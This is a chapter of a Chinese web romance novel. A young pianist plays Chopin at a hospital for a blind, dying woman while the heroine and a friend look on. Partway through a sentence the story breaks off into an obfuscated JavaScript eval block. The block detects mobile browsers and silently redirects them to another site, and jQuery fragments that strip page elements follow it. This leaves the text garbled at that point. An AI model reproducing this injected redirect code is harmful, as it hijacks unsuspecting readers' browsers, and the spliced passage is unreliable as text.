46. 为她弹琴

作品:《声声慢行

    温白生平第一次懊恼自己长了双笨拙的爪子。


    她怎么也学不会,记不住按哪个琴键,清晨7点起来用最小的力气悄悄弹奏,却越练越气,恨不得剁掉自己这双爪子。


    她一直提心吊胆地盯着业主群里,害怕周末自己弹的噪音会被举报,但一向腥风血雨的业主群格外安静。


    温白熄灭手机屏松了口气,正打算继续,忽听得一阵敲门声。


    打开门是傅揚。


    少年一副还没睡醒的模样,冷光冰镀大理石雕塑般的轮廓,眼眸清冷似无波潭水,扬起眉梢,声音乏乏地。


    “你弹的不对。”


    温白心里一惊,迟疑地。


    “我的动静...很大?”


    傅揚眼皮懒乏乏的抬起,他打了个哈欠,声音慵懒。


    “不大,是我在隔壁,睡觉也轻。”


    他透过眼缝窥了她一眼,努力让话语自然。


    “学不会没关系,我可以去给阿姨弹。”


    温白一听,眼眸灿光明烈,亮晶晶的投向傅揚,颇有感激之意。


    但眸光又缓缓黯淡。


    懊恼自己早年没有学琴。


    .


    两人到了医院,进了病房,岑旭在隔间里沉沉睡着,眼下灰蒙蒙的,胡茬乌青一片。


    岑旭被推门而入的咯吱声吵醒,曦光落在他眼睛,看到两人齐刷刷进来的身影。


    视线逐渐清晰,岑旭看到温白发间落了几片枯叶,正想抬手提醒她,却见傅揚十分自然的抬手,轻轻拂去枯叶。


    温白被他的举动惹的回望,两人视线交汇又缓慢分离,彼此一句不言,默契而亲昵。


    温白提了两份她做的饭菜,照常一份给他,一份预备给白繁珍加进午餐。


    他接过饭盒,温度在手心蔓延,他还没来得及开口,温白的身影却随着离去的傅揚越来越远。


    少女只把清甜的声音落在屋里。


    “你好好休息,这是我做的午饭,看合不合胃口。”


    他有些恍惚,面色微微发愣,不知是没睡醒还是不知所措,嘴唇微张,却不说话。


    目光落在那扇合住的门。


    .


    温白来到屋里时,白繁珍还在睡觉,韩丹一直坐在沙发上,整理着她记录的聊天内容。


    韩丹告诉温白,白繁珍最近思维有些迟钝,接下来可能会发生主语混淆的情况。


    白繁珍躺在床上,忽然伸出手四下摸索,韩丹和护士见状连忙跑到跟前,伸手把她扶起,靠坐在床边。


    她喃喃道:“现在几点了?”


    护士如实告诉她,现在是上午9点半。


    白繁珍苦笑了声,“我以为这一觉睡到下午了。”


    她缓缓靠坐在床背,叮嘱着。


    “让阿旭回去休息吧。你们照顾的很好,不用他们天天围着我。”


    韩丹见她醒了,坐在她旁边同她谈笑风声。


    白繁珍温柔平淡的眸子陷入回忆,透出瑰丽朝霞的颜色。


    “小时候,海滩边有人扎了个秋千,我和陈真经常去荡秋千看日出,再偷偷溜回福利院。”


    “后来,那里搭了个木质的景观台,在海边有长椅木凳,经常有人在那里海边露营,篝火在黑夜里暖暖的。”


    忽然,轻轻浅浅的钢琴声流淌进屋里。


    是肖邦的降E大调夜曲。


    温白循着声望向窗外,又静静起身走到窗边,看见院外好些女护士正窃窃私语围坐在一楼的落地窗前。


    206病房刚好位于住院楼折角延伸处,温白视线随着建筑匠心独具的角度,刚好落在一楼落地窗前。


    傅揚临窗而坐,虽穿着寻常运动衣,但容貌出尘,垂眸而下,松弛抬腕间音乐似月华倾泻。


    白繁珍被这样优雅清丽又舒缓的音乐吸引,面浮悦色,在护士搀扶下,缓缓步行到窗前。


    她虽看不见,却微微阖眼,细品这优美的乐曲。


    乐曲反复不断的弹奏好几遍,白繁珍一直站在窗口,直到窗外秋风乍起,雨滴猝不及防降落,沙沙打落树叶,钢琴曲与雨声相辅而成,灵动静逸。


    “应该是位少年演奏吧。”


    韩丹惊奇的扶着她站在窗前,伸手在她眼前挥了挥,疑惑不解。


    “您怎么知道?”


    白繁珍笑了笑,淡淡说了句。


    “琴由心生。”


    钢琴声还在继续,温白见岑旭推门进来,朝她招手,连忙蹑手蹑脚的出去。


    白繁珍听到动静,也没回头,依旧和韩丹闲聊着。


    “这少年琴音刚劲,每段起音利落有力,但演曲中浑然独特,带着温柔细腻,可能是个不善言语,外冷内热的性子。”


    韩丹听着白繁珍的话,也试着闭眼静听。


    良久,她睁开眼。


    “我感觉他像有什么想保护的人,曲里有小心翼翼呵护着什么的易碎感,和一种隐忍克制的感情。”


    白繁珍颇为认可,她点头笑了。


    “他有喜欢的人。”


    .


    温白被岑旭叮嘱了一众注意事项,她看着安宁疗护评估的白繁珍维持周期在最长6个月内,陷入了沉思。


    岑旭盯着她垂下头的发缝,忽然开口。


    “我看你和傅揚一起来的,他主动送你?”


    温白觉得这问题问的有些怪。


    “顺路,他在你家拼乐高,你不知道么?”


    岑旭看着窗外楼下一群女护士兴奋的围在落地窗前,好奇的打开窗户,钢琴声流淌进屋内。


    同时,他也看到傅揚临窗演奏钢琴曲。


    岑旭知道这首曲子是白繁珍最喜欢的。


    他开口。


    “我以为他都拼完了。”


    温白也被窗外的钢琴声吸引,她的视线落在落地窗前少年优雅的举手投足的身影上,嘴角绽放出温和的笑。


    “他会弹钢琴,所以我邀请他过来弹这首曲子。”


    岑旭立刻明白。


    可他就是心里莫名憋闷,提不上劲儿,酸溜溜的。


    温白摸着她拿来的饭盒已经凉了,她打开盖子,露出里面色泽鲜香的红烧丸子,冲他使了个眼色,全然没有当着傅揚面的温婉,故作凶恶的咧嘴。


    “你最近瘦的厉害,这都是我做的,不准挑食全部吃掉!”


    岑旭闻言,挑眉寻衅。


    “你刚来还说先让我看看合不合胃口。”


    温白给了他个白眼,一副你爱吃不吃的模样,恼着脸出去了。


    岑旭看着她气恼的样子,忽然就咧嘴笑了。


    心里那股怪怪的感觉,也被这股浓郁的饭香压制住了。


    他弯着唇角拿起饭盒,准备去热饭。


    .


    白繁珍中午依旧吃上了温白做的菜。


    由于她叮嘱过医护和韩丹,没有人告诉白繁珍,她吃的饭菜里,有一份是出自温白的手。


    温白窝缩在角落,看着她慢吞吞吃饭的样子,内心感到满足。


    门突然被推


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149992|132768||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开,傅揚走进屋里,白繁珍转头望去,她虽然看不见,但也知道有人来了。


    岑旭随后进来,笑着对白繁珍说。


    “白姨,我把弹琴的人请上来了。”


    傅揚就这么被推到白繁珍面前。


    白繁珍微笑着,眼角褶皱纵横,眼里透着和蔼的光,有些不好意思的开口搭话。


    傅揚也不卑不亢,对答如流。


    两人在聊一些对曲子的理解。


    白繁珍忽而蹙眉,有些不确定的开口。


    “我是不是在哪儿见过你?我好像听到过你的声音。”


    傅揚也没掩饰。


    “我曾经陪着温白来过您和陈教授的家里。”


    “我也是岑旭的好友。”


    白繁珍顺着回忆似乎想起了他,脑袋里什么东西电光火石间串联起来,愣神片刻连忙笑道。


    “原来是你。”


    她跟护士说搬个凳子,让他坐在她旁边。


    白繁珍询问了傅揚很多问题,比如家在哪儿,是做什么的,未来打算去哪里上大学。


    傅揚没有掩饰,全部如实回答。


    白繁珍眸里的光却一点点黯淡下来。


    她声音有些尴尬,嗓音发涩。


    “你这么优秀的孩子,未来一定很有出息,会娶个家世相当的女生结婚,幸福过一辈子。”


    此话一出,屋里顿时陷入诡异的沉寂。


    傅揚却摇头。


    “我自己的事,自己说了算。”


    口吻很笃定。


    他顿了顿,又岔开话题。


    “阿姨,岑旭在学校组了社团,配音社的人有各种才能,闲来无事,可以让岑旭带人过来配音给您听,刚好解闷。”


    白繁珍听完,眼底透出欣喜期待的光,嘴上却拒绝了他。


    “这样太麻烦了。”


    岑旭见她面色焕然一新,连忙起身笑着答应。


    “不麻烦,那就这么说定了。”


    白繁珍被两人这一唱一和说定了,无奈摆手摇头,但脸上挂着笑容。


    雨后初晴,暖阳蔓延进屋里,落在她脸上。


    .


    午饭过后,岑旭打算回家休息一天。


    白繁珍已经睡了,温白起身送岑旭下楼。


    傅揚也打算离开,忽然被一个声音叫住。


    “傅揚?”


    傅揚回过头,发现白繁珍还没睡,他走上前,把白繁珍轻轻扶起来。


    白繁珍咳嗽两声,努力用手撑着床,疲惫衰败的面庞颓色显然。


    她努力顺了顺呼吸,露出虚弱的笑,声音快要没了力气。


    “是傅揚吗?”


    傅揚嗯了一声。


    白繁珍又问。


    “屋里再没别人了?”


    傅揚扫视一圈,忽然明白白繁珍问的意思。


    他开口。


    “她去送岑旭了。”


    白繁珍闻此,才松了口气,放下心来,踏实的靠在床头,神情放松下来。


    傅揚有些不解。


    “您为什么不和她坦白呢?”


    白繁珍微微阖眼,她看起来不似温白在时那般精力旺盛,此刻衰败颓然,像被一早晨的活动量耗干体力,整个人倒了下来。


    她声音虚弱,无力而苍白。


    “我也想,但她想瞒着我,那就随她吧。”


    她的叹息轻飘飘的,像蝴蝶在风中飞舞,悄然无痕迹。


    “爱一个人不仅需要坦诚,也得学会说谎。”